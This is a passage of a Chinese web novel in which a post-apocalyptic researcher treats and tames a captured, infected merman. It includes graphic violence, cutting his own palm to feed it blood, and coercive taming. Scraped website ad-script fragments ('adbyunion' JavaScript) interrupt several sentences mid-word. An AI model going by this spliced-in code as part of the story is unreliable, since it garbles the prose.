特温受了莫大的屈辱涨红着脸,但下一秒观察室的灯猛地亮起,就在他下意识紧闭双眼时还没失去的知觉的腿被重重一踹,整个人重重跪在地板上。 以自己的角度,他好像在跟人鱼下跪。 “你!” 接下来的话还没等说出口,他又被一脚从楼梯上踹了下去,滚落在地痛的失声。 培养皿中传来“噗通”一声。 人鱼眯起眼睛审视着主动跳入水中的人类,并没有丝毫的慌乱,反而带着些游刃有余。 隔着培养皿看不出人鱼有多高大,当晏越跳入水中才发现自己在这只人鱼面前显得有些弱小。 若不是被束带捆住了胳膊、口笼挡住了利齿,他不会认为自己此时可以完整的在它面前。 晏越没时间关注人鱼,拽着昏迷的助手费劲的游上去,但双腿突然刺痛无比。 他低下头看到那只漂亮却又破碎的尾鳍此时正卷在自己的腿上,上面的锯齿倒刺此时正嵌入了他的腿中。 痛痒又麻。 人鱼的尾鳍上有毒吗? 这到是以前从未发现过的。 就在晏越因疼痛而停顿时,看到腹部被粗壮却又如海蛇般灵活的长鱼尾卷了起来。 它将他也当成了攻击对象。 人鱼的尾巴并不像想象的那样光滑,相反,那上面的鳞片坚硬又粗粝。 他的衣摆被水的浮力而卷起,柔软的腹部直接接触到鳞片瞬间就被划伤,血丝从缝隙中冒了出来。 冲进来的谈寺一步三窜跑到上面伸手向他探去,焦急大喊: “学长!手!” 鱼尾像铁箍般卷着他的腰腹向下拖,只是轻轻一用力,晏越便呛了一口水,更失去了力气。 背后被覆上了大片冰冷,鼻腔涌入血水,肺部像要炸了一样。 晏越想起来一个传说。 深海的人鱼,只要缠住了猎物便永远不会松开,直至猎物被绞杀。 它们喜欢看猎物在手中垂死挣扎的模样,品尝着它们的恐惧与绝望。 缠着自己的这条尾巴并没有太用力,它似乎并不像将他卷着两节。 相反,它想要看着他痛苦地溺亡。 模糊间,他好像感觉到口笼冰凉的铁贴着他的颈椎,滑到脊椎,最后停留在尾椎处。 衣摆被卷的更向上了,心脏的位置顿时暴露无遗,它的发丝划过稚嫩的部分有些痒。 人鱼在嗅他的味道。 口腔中的血味越来越浓,他强撑着最后一口气将手里提着的人向上推了一下,但也因此被鱼尾卷的更牢,鳞片似乎都要嵌入肉里。 晏越挣扎着从缝隙中掏出准备好的麻醉剂,准备一针扎入人鱼的颈动脉。 但此时人鱼将他牢牢卷住,他动弹不得,更别提转过身将它麻痹。 谈寺猛地跳入水中将那个助手拖上来,回头便看到这个场面。 人鱼俯身轻嗅晏越的腰身,金色的耳鳍在发丝间微微抖动了一下。 下一秒,那条鱼尾竟奇迹般的松开了。 谈寺大惊,连忙抓住这片刻的时间跳入水中把晏越救出来。 就在这时他看到那双蔚蓝色的竖瞳,只是一眼便让他如坠冰窖。 人鱼在笑。 那双非人的竖瞳中,带着浓重的玩味与戏弄。 它在欣赏着晏越的痛苦,欣赏着晏越的死亡。 但它像个调皮的顽童,对此并不满意。 它想要看到更多。 谈寺把晏越从水下扯出来,惊魂未定地坐在地板上,脑袋里满是那双恐怖的眼睛。 而晏越靠坐在墙壁上,猛呕出好几口血,腰腹上全是鳞片刮伤的细小伤口。 特温已经不知道什么时候带着助手跑掉了。 缓了约莫有三十分钟,晏越吐出嘴里最后一口血,眼底赤红颤抖着手往身体里打了两管药剂,等待心率平稳下来后摇晃着身子站起来再次看向培养皿中的人鱼。 人鱼已经昏睡过去了。 还好谈寺进来前控制培养皿注入大量麻醉药剂,三十分钟足以晕倒人鱼了。 看着晏越摇摇晃晃站起身还要往培养皿入口走,谈寺眼疾手快拉住他,语气因为焦急而呛人。 “你要干什么?” 晏越没回答他。 谈寺想起那双竖瞳,不可置信的问:“你还要下去?你知道那只人鱼是故意的吗?” 晏越当然知道。 他在水下就感觉到了,人鱼想要让他死早就能把他扭成两节了,它只是故意的。 人鱼或许是比人类智商更高的存在,这个论点一直没被证明,但他相信即便是谬论,人鱼的智商绝对 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 跟人类不相上下。 “你为什么要救那个人,因为那个人你差点就死了!差一点!” 谈寺差点要失去理智,他没办法接受眼睁睁看着晏越死在自己面前。 “你让他淹死不就好了吗?你....” 话音未落,晏越叫着他的名字打断了他。 声音带着点呛血后的沙哑。 “人类的尸体会污染培养皿,去给我拿一套潜水装备和生物粘合剂来。” 谈寺听到这句话愣在原地,他甚至不知道该做什么表情。 半晌似乎是笑了一下,那笑声也许是自嘲也许是无奈。 最后他什么都没说,出去拿了晏越要的东西。 再次跳入培养皿的晏越压下心中那股濒死感,用酸痛的手举起手电照在人鱼身上巨大的血洞处。 洞口被彻底撕裂,完全没有愈合的痕迹,必须要快点做清创了。 光亮晃过人鱼的脸颊。 那是一张介于少年又迫近青年模样的脸,是造物主的恩赐。 即便是晏越这种对外貌没有什么感觉的人也会忍不住多看几眼,那是一张任何人类都无法说出一句丑的脸。 它略带锋利的轮廓和棱角正印证着深海的危机四伏。 巨大的人鱼闭着眼睛,是海洋蛰伏的巨兽,当它苏醒时深海中的生物将无所遁形。 他先是游到最下面在撕裂的尾鳍上涂了生物黏合剂,又在血洞周围涂了点止痛和消炎的药剂。 最后打了一管抗体进去抑制感染。 做完这些的晏越感觉四肢像灌铅了般沉重,缓慢游出培养皿后让谈寺盯着数据回去休息。 被人鱼用鱼尾卷住的地方此时剧痛无比。 回到卧室晏越脱下衣服看到那里有一片片青紫,摸了摸关节没有什么错位便没再管。 腿倒没什么痛了,被倒刺刮的地方也只是有血洞。 看来并没有毒,只是麻痹猎物吗? 晏越随手抄起止痛剂草草喷了点,连澡都没力气洗,给机械手表定了个时就睡下了。 原本应该在三个小时后苏醒的赫瑞斯在一个半小时后缓缓醒来。 空旷的培养皿里早没了那个人类的踪影。 人鱼对气味的追踪及其敏锐。 它确信他就是甲板上的那个人类。 味道跟其他人类不一样,似乎有点香。 鼻翼的气味似乎尚未消散完全,属于人类的体温还沾在尾端。 赫瑞斯轻轻晃动了一下鱼尾。 尾鳍上的伤口此时覆上了一层薄薄的生物膜,正在以很快的速度进行自愈。 它的舌尖划过犬牙,像尚未吃饱喝足的饕餮,等待着下一餐的饱食。 深海的捕猎并不困难,人鱼很多时候并不只为了吃饱,它们更多的是取悦自我。 看着猎物在手中挣扎,吮吸它们的痛苦与绝望。 海洋太冰冷了,无情又无趣。 它太久没找到乐趣了,但或许现在找到了。 饥饿感并不简单的从腹中传来,更像是从灵魂深处攀爬上来,迫切的想要吞噬什么,填满无尽的欲望。 好香。 很饿。 5. 第 5 章 晏越的脾气不太好,要是从前他不介意一枪崩了特温和那个助手,最后再崩了布拉德利。 但现在不一样,他没时间浪费在这种没意义的事情上,所以在睡前就把这些信息统统汇报给了帝国。 倒不是为了告状,他写的明明白白。 如果这几个人再敢阻拦他的实验,他不介意在忒亚上崩了自己人,先斩后奏。 那边的回复很快,联络器中传来冰凉的机械女声。 “尊敬的晏越教授,帝国研究院对您的遭遇表示愤怒,七日后由帝国指派的隶属帝国军部的军官将抵达忒亚舰帮助您,再次之前请务必保证安全。” 保证谁的安全?晏越嗤笑一声。 应该是船上这群弱智的安全。 语音播报并未结束,播报完毕后正在继续: “...请稍等,您的老师奥凯西教授正在申请联络。” 晏越点了接受后,电话那头不再是冰冷的机械声,而是一个苍老的声音。 “不要太拼命,最近几年你的身体才刚好。” “知道了,老师。” 联络器那头传来纸张翻动的声音,过了一会儿晏越听到奥凯西说: “我看到你上传的报告了,这只人鱼的确比历来抓到的都要强壮,但是军部传来的汇报说你擅自给自己注射了抗体。” “对,人鱼被感染了,因为生命体征微弱不能直接接受抗体注射,我用了自己的血。” 在晏越说完后,那边陷入了长久的沉默,许久后奥凯西叹了口气。 “汇报我压了下来,我知道你一直都很在意‘复生’计划,在意你父母的死亡,但下次不要太冒险了。” 晏越道谢并答应了,虽然奥凯西知道并没什么用。 联络器中止后,奥凯西问旁边的助手:“巴塞,同意他接替他父母重启‘复生’计划是不是错了?” 巴塞同样是看着晏越长大的,他知道奥凯西在担心什么,于是为奥凯西盖上毛毯安慰道:“您没有错,这是命运的选择。” 晏越接任‘复生’计划,就是为了突破桎梏,创造出更强的抗体,最终让人类战胜污染。 说实话这个计划让一个人完成实在难如登天,但这项计划本来是由他的父母进行的,很多人认为接下来理当由他们夫妇二人的孩子接手。 “况且那孩子是不可多得的天才,即便您不同意,那几位也不会放过他的。” 奥凯西叹了口气,“他啊,从小就固执。” “那年,他们二人牺牲在南极,我把他带回来,小小的孩子五天里一句话不说,回了家唯一一句话就是跟我说他会接替他们完成这个任务。” “这么多年了,我以为他放下了,但其实他一直都没放下。” 巴塞附和道:“是啊,陛下重启‘复生’计划给了他一个名正言顺的理由。” 奥凯西没继续说话了,望着窗外高耸的机械护盾。 飞鸟在护盾下只剩寥寥几只,它们拼命的想要逃离这个唯一能算得上是壁垒的地方。 人类何尝不是如此,里面的人想要出去,外面的人想要进来。 这世界就是个巨大的围城。 奥凯西闭上了眼睛。 挂断联络器的晏越回到研究室中,提了一桶活蹦乱跳的鱼,拿了特制项圈推开了观察室的门。 他并没有看人鱼,进来后径直走到二楼收紧了机械锁链,迫使人鱼靠近水面。 不用低头就可以确信那双来自深海的眼睛从他踏入这间屋子开始,就没离开过他的身上。 在他观察人鱼时,人鱼同样也在观察他。 猎物和猎手的拉锯战需要耐心。 但很遗憾,他没有什么太大的耐心。 他是人,轮不到人鱼骑到他的头上。 所以他将培养皿的机械壁再次打开,纵使这只人鱼差点将他溺毙。 但这间研究室里的人又有谁是孬种? 末世了,所有人都是赌徒。 人鱼被脖子上的锁链拉扯迅速靠近水面,但它却没有挣扎,任由着铁锁拉扯,眼珠片刻没离开过晏越的身上。 那里面有着浓厚的兴趣,但转瞬即逝。 晏越把它调转了个方向,让它背对自己。 金尾人鱼起初有些不满,扭动了一下身子。 后颈永远都是最脆弱的地方,人鱼不会轻易将后背暴露出来。 但它只是稍微抗拒了一下,然后竟顺从的就这么漏给了晏越看。 只是它微微侧着身子,晏越看到了那条隐藏在水下的粗壮鱼尾蜷在一旁,呈现出一种优美的弧度。 他勾起嘴角。 这人鱼崽子只是装了装样子,鱼尾的动机却是暴露无遗,在等着呢。 一旦做出什么伤害它的举动,这条鱼尾便会顺势而上在瞬间卷着他头颅溺进水里。 人鱼的后脊结实富有力量感,骨骼轮廓与人类相比更为明显。 它的脊椎略微弯曲却又呈现出漂亮的流线型,这应当是为了在海底高速游动。 蹼爪交叠在后腰,尖锐的指甲可以轻易刺穿鱼类的腹部。 晏越注意到人鱼脊背上清晰的肌肉线条紧绷着,安抚似得用手背拍了拍它的肩头。 掌心触到的肌肤光滑又冰凉,像是珍贵细腻的绸缎料子。 隔着近了可以看到人鱼的肌肤纹理,不像人类,人鱼的皮肤连细小的绒毛都没有,上面似乎有一层水膜。 赫瑞斯闻到一股香甜的气味,它的猎物在自己身后正在捣鼓什么东西,就听到窸窸窣窣的声音。 但最让它出神的还是那个味道。 太香了。 迫不及待要将猎物撕碎品尝。 人类的血肉并不美味,甚至没有深海里的甜虾甜嫩。 在它们的食物链中只能算是中等稍微偏上罢了。 可此时此刻,它几乎快要忍不住体内的躁动。 将身后的猎物撕扯下来,咬断他的脖子,吮吸温热的血,将肌肉一丝一丝剥离。 “咔哒。” 金色的耳鳍微动之时,手臂的束缚和耳下的口笼在顷刻间尽数消失。 一只有力的蹼爪以疾风般的速度向身后捞去,蔚蓝的竖瞳闪过凶狠与暴戾。 但他抓了个空,只碰到了鱼桶。 鱼桶倒在一旁,里面的鱼扑簌簌地坠入池中。 而它迫不及待想要得手的人类不知何时站在够不到的远处,手指勾着铁质的枷锁和口笼,面无表情的看着自己。 仿佛在告诉它,他早就料到了。 此时脖颈上的项圈滋啦啦的放着电,刺激着人鱼的神经。 晏越看它扯了扯脖子上凭空而出的项圈,突然顺从的放下了蹼爪,刚才那些凶狠与暴戾的仿佛只是个错觉,取而代之的是有 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 些迷茫和柔和。 “不用扯了,这个项圈戴上了就不会被你扯掉,只要监测出本体对人类存在攻击意识就会自动放电。” 晏越很平静的拆穿了它。 他知道人鱼听不懂人类的语言,但这并不妨碍他们沟通,有些东西不需要语言也能传达到。 比如现在晏越指着坠入水中的鱼,轻启薄唇: “吃。” 坠入水中的鱼活蹦乱跳的在它面前游了一会儿,但它熟视无睹,只盯着人类的脖子,是认准了他。 晏越看着人鱼的胃部,那里平平的甚至有些凹陷。 它现在一定很饿。 空灵的瞳映出海水波光粼粼的倒影。 他在这里跟一条鱼僵持算什么? 晏越自嘲的笑了一下,突然蹲下身把倒下的桶扶正。 从里面挑了一条深海鱼捞出来,不加躲避地直视人鱼的眼睛,张开嘴冲着鱼咬了一口。 咸腥味顿时在口腔里炸开,鱼鳞刮到他的口腔,舌根开始抽搐。 他面无表情生生压住生理性的反胃,强迫自己不去想嘴里是什么东西,连咀嚼都跳过直接吞进嗓子里,把鱼丢进水里。 “没毒,吃。” 人鱼终于开始有了反应,它看向受了伤的那条鱼,鱼身有一个小小伤口,上面有着齐齐的伤口。 受了伤的鱼游动缓慢,人鱼轻而易举地就将它捕获。 赫瑞斯看着那上面的牙印,很平整,没什么攻击性,无害的像是幼年生物在闹着玩。 蹼爪托着那条鱼放在了鼻翼下。 晏越本以为它在确认食物的安全性,可下一刻人鱼竟伸出舌头舔舐起食物。 舌尖卷着的地方,正好是他咬过的地方。 它一边吃一边看着他,就好像品尝的并不是鱼,而是他。 晏越并没有感觉到被冒犯。 相反,他有近乎疯狂的满意,心情大好又这么咬了一口鱼丢进去一只。 无论是人也好鱼也罢,都是欲望驱使的生物。 这一身的血肉既然能吸引到它,那就作为引诱它的诱饵。 接下来它会知道谁才是主人。 就这样半桶鱼在晏越的喂食下,尽数进了人鱼的胃里。 吃完半桶,人鱼似乎还意犹未尽,舔了一下嘴角上的血,看着晏越。 晏越没惯着它,下巴冲着水池里那几条落单的鱼。 “自己吃。” 人鱼听话的将剩下的鱼全部吃干净,与之前不一样的是它换了一种吃法。 尖锐的指甲划破鱼腹取出鱼膘,先将鱼膘吸进肚里,再将鱼刺剃干净后才把鱼肉塞进嘴里。 整个动作带着一丝野蛮的优雅,莫名有些诡异。 吃完后它看向晏越,像个求表扬的孩童。 晏越略带满意点点头,却无情地将门关上。 “只能吃这么多。” 赫瑞斯只能眼睁睁看着人类逐渐离开,手边游过一条漏网之鱼,它垂在身旁的手突然伸起,生生捏碎了那只上一秒还在游动的鱼。 它不再优雅,抓着几块鱼肉塞进嘴里。 不够,还是不够。 最后它的舌尖舔舐着蹼爪上的血迹,一寸寸舔净,似乎在用这种方式缓解饥渴感。 大腿、腹肉、肋骨、脖颈、耳侧... 但它最喜欢的,还是那双眼睛。 6. 第 6 章 给人鱼进食的食物都经过了抗体注射,为的就是控制感染指标。 好在它只有初次进食费了劲,后面都算是比较轻松了。 但他知道这不是长久之计,依靠进食只能短暂维持感染指数,并不能在根源解决感染问题。 不出所料,在临近的某个深夜谈寺敲响了晏越的门。 人鱼的感染指数迅速升高即将突破临界值病变。 培养皿中的人鱼微蜷着鱼尾,尾鳍呈现不自然的倒钩壮,琥珀色的部分不知何时爬上了狰狞丑陋的黑色花纹,就连它苍白的脸颊上都有些黑色的痕迹。 这俨然是感染爆发了。 “指标给我。” 晏越看着资料眉皱的越深。 “不行,还是不能直接注射抗体,伤太重了,抗体很有可能失效。” 晏越来不及换衣服,直接跳入培养皿中向水中央的人鱼游去,谈寺尚未来得及阻挠他人已经潜了下去没了声响。 人鱼沉在水中,眉头紧锁,被人类触碰到胳膊时羽翼般的睫毛略略颤抖,望过来的瞳中充满迷茫与混沌。 晏越一手揽在它胸前向水边游。 在游动时,他感觉有一个滑腻的东西贴在了自己腰间。 是蹼爪。 那只蹼爪指尖黏连着薄薄的膜,乍一看与人类并无太大区别,但尖锐的指甲架在他腰间,掌心恰巧抵着脊柱中央,有些粗粝感。 应当是常年用来撕裂生物敲碎硬壳,它的蹼爪掌心并不像肌肤那般光滑。 无暇顾及他的小动作,晏越把它拉扯到岸边,从腰后掏出一把军刀对着自己的掌心就是一刀。 层层叠叠新新旧旧的伤痕累在一起,让人光是看着就心惊 如果不是因为在水中,晏越是没办法一个人把人鱼扯到岸边的。 太重了。 揽着人鱼的胳膊都爆出了青筋,生怕它滑下去。 沉甸甸的脑袋枕着他的颈窝,海藻般的发湿漉漉地搭在他的胸前,那张美丽到诡谲的脸庞上开始爬上黑色的纹路。 粗壮的鱼尾一直向下沉,晏越干脆把鱼尾夹在两腿之间固定住。 他攥紧拳头悬在上空,只是此时它抿着唇,因承受着巨大的苦楚而紧闭牙关,血进不去,滴在唇角又滑落进下去,最后隐没在不复从前办光亮的发间。 “这样下去不行。” 谈寺顾不得面前这个有些诡异的画面,从二层高的地方一跃而下,“我去找肌肉松弛剂!” 晏越缓了一口气将人鱼费劲的往上提了提。 耳鳍无意间划过他的喉结,痒痒的。 怀里的人鱼此时灼热的像是海底的火焰。 这让他想起在孩童时见到的一只漂亮的人鱼,有着火焰色的鱼尾。 彼时他跟父母一起航行在南极附近,他遥遥指着海礁那边跟母亲说:“妈妈,好漂亮的人鱼!” 火焰色鱼尾的雌性人鱼也在看着他们,海礁后面还有个探头探脑的小人鱼。 它们在晒太阳中远远观察着入侵者。 她微笑着将晏越抱起来说: “人鱼是造物主的恩惠,它们漂亮、强壮,又神秘。” 晏越抱着她的脖子,望向人鱼的眼神中满是向往与憧憬。 也许就是那个时候他的一生就注定了跟人鱼纠葛不清了。 他说:“那为什么它们总是躲着我们呢?” 雌性人鱼并不怕人,知道自己被发现了以后也没躲进水里。 他们遥遥相望,南极的冰将日光散到各个角落,这里温暖又美好,没有刀戎相向。 他母亲当时是怎么说的呢?太久了,已经记不清了,只记得那天的阳光很好。 好到过了很多年,他午夜梦回还是会回到那艘船上,带着厚厚的毛线帽子被母亲抱在怀里。 这段很短的回忆被谈寺打断,他微微愣一下轻轻闭了眼睛。 怎么会突然想起这些。 再次睁开眼睛时,晏越接过谈寺递来的肌肉松弛剂,打在它的下巴处,用力捏着下颌眼疾手快用手指抵着撬开的缝。 指腹不可避免的被尖锐的牙齿划破,好在人鱼的嘴终于被撬开了,血滴落在它的唇齿之间。 指尖似乎被湿润的东西扫过,就在下一秒怀中本应该沉睡的人鱼骤然睁开了双眼。 浅色的睫毛下那双空洞深邃的眼眸似乎要将一切吞噬。 几乎是在苏醒的同一刻,他们之间的位置便有了天翻地覆的改变。 压在腰腹上的鱼尾瞬间掉转位置顶着他的身体将他托起。 起初用来固定鱼尾而夹起的腿,现在因为被迫滞空下意识卡在了它的腰上。 鱼类的胯骨坚硬,磨的腿侧有些硌。 他尚举着胳膊,猛地回头发现自己已经远离了岸边。 就在这时,湿滑的蹼爪顺势抵上他的后脊,将他向下压。 “放开!” 晏越高声制止,但人鱼熟视无睹,贪恋地盯着他的掌心,仰头亲吻在上面。 冰冷的唇贴在掌心,激起了晏越后脊的一片冷战。 主动喂血跟被动被舔伤是两回事。 晏越眸色一沉,军刀抵在它的下巴处,锋利的刀刃刺破了人鱼的肌肤阻止它的动作。 刀尖轻轻挑起它的下巴,晏越手里没松一分力,直直望着它要将一切吸进去的眼底。 一字一句道: “放开。” 人鱼被迫仰头看向男人。 他的发有些凌乱,不像白天那样整齐,此时因为沾了水,湿漉漉有有点乖巧的塌下来。 柔软的领口也被扯的散了些,漏出了白皙的锁骨。 因为靠得近,它听得到这片胸膛下鲜活的心跳声。 口中香甜的气味越发浓郁。 它突然松开了晏越,隐约勾起的唇角让笑意变得有些邪恶。 但再看过去,那似乎又是错觉,人鱼并没有笑。 晏越确认它没有大碍后重新回到了岸上,跟谈寺说:“准备麻醉,给它清创。” 谈寺惊魂未定,刚才实在是有些吓人,他以为人鱼就要这么失控了。 “但...但是人鱼不配合怎么办?”谈寺问。 晏越冷漠地说: “饿它三天。” 三天对于人类来说会到极限,但人鱼不会,它们甚至可以一个周不进食。 但这只是一个手段罢了。 一种驯服手段。 接下来的三天赫瑞斯果真没看到晏越的影子。 从监控可以看到人鱼起初并没有什么异常,但很快开始不耐,鱼尾卷翻了礁石,人工海藻被不知是泄愤还是玩乐扯了个干净。 整个培养皿里干净的连水母渣都没剩。 监控面前的谈寺正在将一切记录下来,正准备跟晏越讨论时看到他正在给手掌缠纱布。 自从上次割掌喂血后,他就一直没止住血。 已经是三天了。 谈寺扫过垃圾桶里浸透血的纱布紧张起来,“学长,怎么伤的这么严重,血还没止住?” 晏越却无所谓,语气平淡地说:“没事。” 谈寺还是有些不放心,说了一连串的话,“明明身体指标都很正常的,难道是因为之前的抗体?医疗室那边还有止血剂,我去找个借口拿点回来,你的情况还 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 需要进一步观察,不能就这么简单的糊弄过去了。” 晏越将脏纱布抛入垃圾桶里,淡淡地看着他,开口说: “谈寺,不要太关心我,做好你的本职工作,我选你做助手是因为你的个人能力出色,不是为了让你来当保姆。” 谈寺闻言脸色一变,尴尬复杂的神色一闪而过,他敛下眸子停顿了几秒钟后说:“我知道,我只是不想你操劳过度。” 晏越不再说话,研究室重新陷入了寂静之中。 最后还是晏越率先打破了沉寂,他让谈寺准备麻醉,他提前进去,等他出来就开始清创手术。 被冷处理了三天的赫瑞斯在看到那扇门缓缓打开后,顺着来人的步子黏了上去,碍于这层玻璃,它只能跟随着他的步调。 但他没有理它,在一堆电脑面前点着什么。 鱼尾不耐地扫着,它眼见他就要出去了。 触手可及之物再次从手中溜走。 “yi..an...yu...” 安静的观察室出现了一个空灵的声音,它富有神性,异常矛盾却又奇妙。 足以扰动人心底,令其震撼。 有点像低吟,读起来带着点卷舌,类似于末世前的法语,缱绻温柔;也有些像悲剧歌剧,宏伟却又苍白。 塞壬的歌声总是魅惑人心的。 它们用独特的声音引诱猎物,也会用来勾引同类达到交.配目的。 果然,它看到那个人类停住了脚步,合上手中的文件夹走过来。 海上有一个流传的故事:当人鱼高歌人类的名字时,就是这个人类下地狱之时。 小孩子听后都吓到发抖,但晏越可不是,他幼年就随父母世界航行寻找人鱼踪迹了。 于是他耐下心一字一句教它: “yan,晏。” “yue,越。” “晏越。” 人鱼的语调起初有些别扭,但它很聪明,很快就能准确的念出他的名字。 有些别扭的重复了一遍,但它很聪明,很快便能准确的读出他的名字。 “yanyue” 晏越点点头,侧耳对着联络器说:“注入麻醉,带东西进来。” 它的蹼爪贴在玻璃上,那个位置正对的便是他的胸膛。 纤细的脖子,细到蹼爪轻轻一捏,便能折断。 “咚咚。” 晏越听到怪异的声音,抬眼看到人鱼正在用蹼指轻轻敲击着玻璃,然后说出了第二句类似于英文又类似于法语的东西。 “He..reas..” 晏越跟联络器的交流声停了下来,望着紧盯着自己的人鱼。 谈寺的声音从联络器中传出:“学长?” 他草草挂断联络器,“待会儿说。” 它看到人类的视线终于只停留在自己的身上,满意勾起嘴角,似是得逞般。 “再说一遍。” 晏越走近培养皿,可它却只是盯着他不肯再开口了。 他快步走上二楼,将培养皿的门打开,拉进自己跟人鱼的距离。 铺面而来的水汽将他笼罩。 人鱼的上半身从水中浮出,湿漉漉的身体直立在水中央,流水成线汩汩从躯体纹理坠落。 苍白的唇轻启,再次重复了那个字眼。 “He...reas” 像是塞壬在耐心引诱着它的猎物,织好了密密的一张网,只等猎物走进陷阱中。 晏越喉头涌起一股血,他吞了进去强压不适,问:“什么意思,你的名字?” 它没有回应他,但是琥珀色的尾鳍轻轻扇动了一下。 7. 第 7 章 谈寺进来时把医药箱放下收拾东西,中途感觉到了气氛的诡异,一抬头发现本该昏睡的人鱼此时正立在水中央。 “怎么回事,剂量调小了?” 他皱起眉呢喃出声,正准备出去调整剂量,旁边的人不动声色擦净嘴角溢出的血滴拦住他。 “麻醉剂给我。” “啊?”谈寺看着面色格外苍白的人,有点没反应过来。 “你要亲自去?” 晏越点头,目光却一直在人鱼身上。 那或许是它的名字,但它不再回答他的问题,只是在水中央处似笑非笑地看着他。 似在示意他靠近,再靠近一些就多告诉他一点。 他把麻醉剂藏在腰后,直视它的视线一步步靠近。 人鱼似感应到了,随着他的靠近逐渐游到岸边。 他们之间的距离只差展臂时晏越停止了脚步,站在边缘处,脚下便是几米深的水池。 晏越蹲下身子,那双蔚蓝的竖瞳便随着他的移动而下移,他问:“饿了?” 人鱼没有回答他,但眼神中的饥饿感不必回答。 他从桶里捞出一个牡蛎撬开摊在手心,鲜嫩肥美的牡蛎肉有一个巴掌大。 人鱼抿了一下嘴唇凑到面前,眼神在晏越和他手中的牡蛎之间流转。 它的手臂撑在晏越身旁,蹼爪按在岸边,将半蹲着的晏越笼在身下,只是在水中的上半身足以高大到将他笼罩住。 谈寺的手不知不觉握紧了,他看着人鱼缓缓张开了嘴,猛地握住准备好的枪。 但人鱼只是小幅度地张开嘴巴,竟低下头就着他的手这么进食起来。 它吃的很慢,不像从前那般迅速,在竭尽可能的保持着优雅,但因为不是自己的手不放便,牡蛎的汁液难免沾到了晏越的手指。 人鱼倒也不计较,迅速而又轻松地将牡蛎汁舔进腹里,行云流水,丝毫没有任何不对。 晏越蜷了蜷手心,将牡蛎壳放在一边循循诱导:“还想吃吗?” 它轻眨眼,似在回答他。 瞳仁像海底最纯粹的宝石,明亮,无暇。 “那就听话,让我给你清创,好了以后给你吃饱。” 它像是听懂了,盯着他的眼睛。 晏越瞅准了时机迅速拔出麻醉剂扎在它的胳膊上,人鱼并没有反抗。 当他站起身时,脚腕紧紧攀上一个湿漉漉的蹼爪,甚至想要顺势而上。 谈寺放下来的心瞬间又提起来了,晏越轻轻抬手比了个手势示意他不要乱动,自己重新蹲下任由它扯着,直到几分钟后人鱼有些乏力。 这时他借力将它从水里拽出来。 它足有近三米,雄性人鱼的体重骤然压在晏越身上,让他费劲地抱在怀里。 赫瑞斯或许是没力气,或许是不想,懒懒地靠着他,下巴搭在他的颈窝处,眼半阖,时不时轻扫的鱼尾证明它还没睡过去。 海藻般的长发湿漉漉地打湿他洁白干爽的外衣,天使模样的精致脸庞我见犹怜。 看着晏越如此费劲,谈寺连忙上去帮忙,但就在这时本懒洋洋的人鱼骤然掀开眼皮冷冷的瞥了他一眼。 被那双非人的竖瞳阴冷的扫过,谈寺彻底打消了刚才认为人鱼是天使的想法。 他举着手一时愣在原地,不知道刚才感受到的敌意是否是自己的错觉,毕竟那个敌意来自于人鱼。 回过神来他帮晏越将人鱼扶着躺下,那种敌意的眼神却没看到第二次。 谈寺瞬间陷入自我怀疑,用审视的眼光看着敛着眸撑着上半身乖巧看着晏越任凭他摆弄自己尾巴的人鱼。 晏越甚至还耐心解释了一遍:“这个不会害你,我需要这个才能给你的伤口治疗,你会睡两个小时左右,睡醒后伤口就不会痛了。” 搭在池边的尾巴轻轻甩了一下,激起一片小小的水花,水滴飞溅在晏越的脸上。 谈寺看到晏越这番模样有点震惊,也说不上什么感觉。 他从未见过晏越这样耐心的跟人解释,更何况对面根本不是人。 晏越极度理性到冷漠的性格,不会允许自己去做这样的事。 但自从晏越来到了忒亚,准确的说是自从他捕捉到了这只人鱼,他似乎哪里变了。 谈寺比晏越早来忒亚三个月,短暂的跟忒亚的研究室合作了一段时间。 这里的研究人员冷漠又粗鲁,从不会跟人鱼进行交流。 他们认为人鱼不具备学习人类语言的能力,最重要的是不具备这种资格。 这种刻板印象被晏越轻易打破,却没有让他感觉有任何不妥。 晏越生来如此,无须别人是否在乎自己支持自己。 他只做自己认为该做的事。 面前的人鱼一直等了许久才缓缓闭上眼睛,谈寺终于松了口气。 紧接着二人开始消毒进行手术,整个过程十分紧张。 之前没有仔细看所以并没有发现,这处贯穿伤周围还有细碎的弹壳,现在已经跟新生的肉黏合在了一起,处理起来很棘手。 “妈的这群混蛋,是压根没给人鱼活路。”谈寺一边处理伤口一边小心翼翼怕自己的汗水滴落进人鱼的伤口里。 晏越没说话,但眉头一直紧锁着。 两个人一时不停足足处理了快两个小时。 晏越的手没停下来过,直到完成最后的一针缝合时发现了伤口处有些隐约的泛黑。 谈寺探过头来问,“感染蔓延了?” 感染一旦开始便很难再消失。 “嗯。” 晏越只停顿了一秒便继续手里的活,最后在恐怖狰狞的伤口上喷上促进愈合的生物黏合剂,两个人合力将赫瑞斯重新拽进培养皿里关闭机械顶。 近两个小时的高度紧张,谈寺捏着酸痛的肌肉去休息,晏越则是干脆坐在下面观察室的凳子上小憩。 赫瑞斯醒来就看到男人双手交叠搭在腿间,修长的腿略微岔开以一种很松弛的姿势。 头微微向后仰着小憩,突起的喉结轻轻震动着宣誓着主体的生命力。 鱼尾上无法愈合的伤口此时已经没有那种刺痛的感觉了,上面覆着一层冰凉的防水凝胶。 即便虚弱,但它明确感觉到此时的身体状态跟受伤前有天壤之别,恢复只是时间问题。 人鱼的视力很好,它能清楚的看到人 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 类微微起伏的胸口。 鲜活,又迅速。 他睡得不太安慰,即使在梦中也轻轻皱着眉。 瓷白的肌肤在暖光的照射下蒙上了一层温柔的光。 赫瑞斯默默贴近了培养皿坚固的玻璃,用眼睛描摹着属于人类的轮廓,当视线停到他的胸口时,它突然不知为何用蹼爪抵住了自己的胸膛。 眼中的胸口有节奏的起伏着,但掌下自己的胸膛却几乎没有什么波动。 缓慢的像是它们漫长的一生。 它对年龄没有概念,人鱼这个种族究其一生都与深海为伴。 在深不见底的海洋中,阳光无法抵达,没有光照,没有温度。 鱼虾不会说话、鲸鲨跟它们井水不犯河水,它们生来孤独。 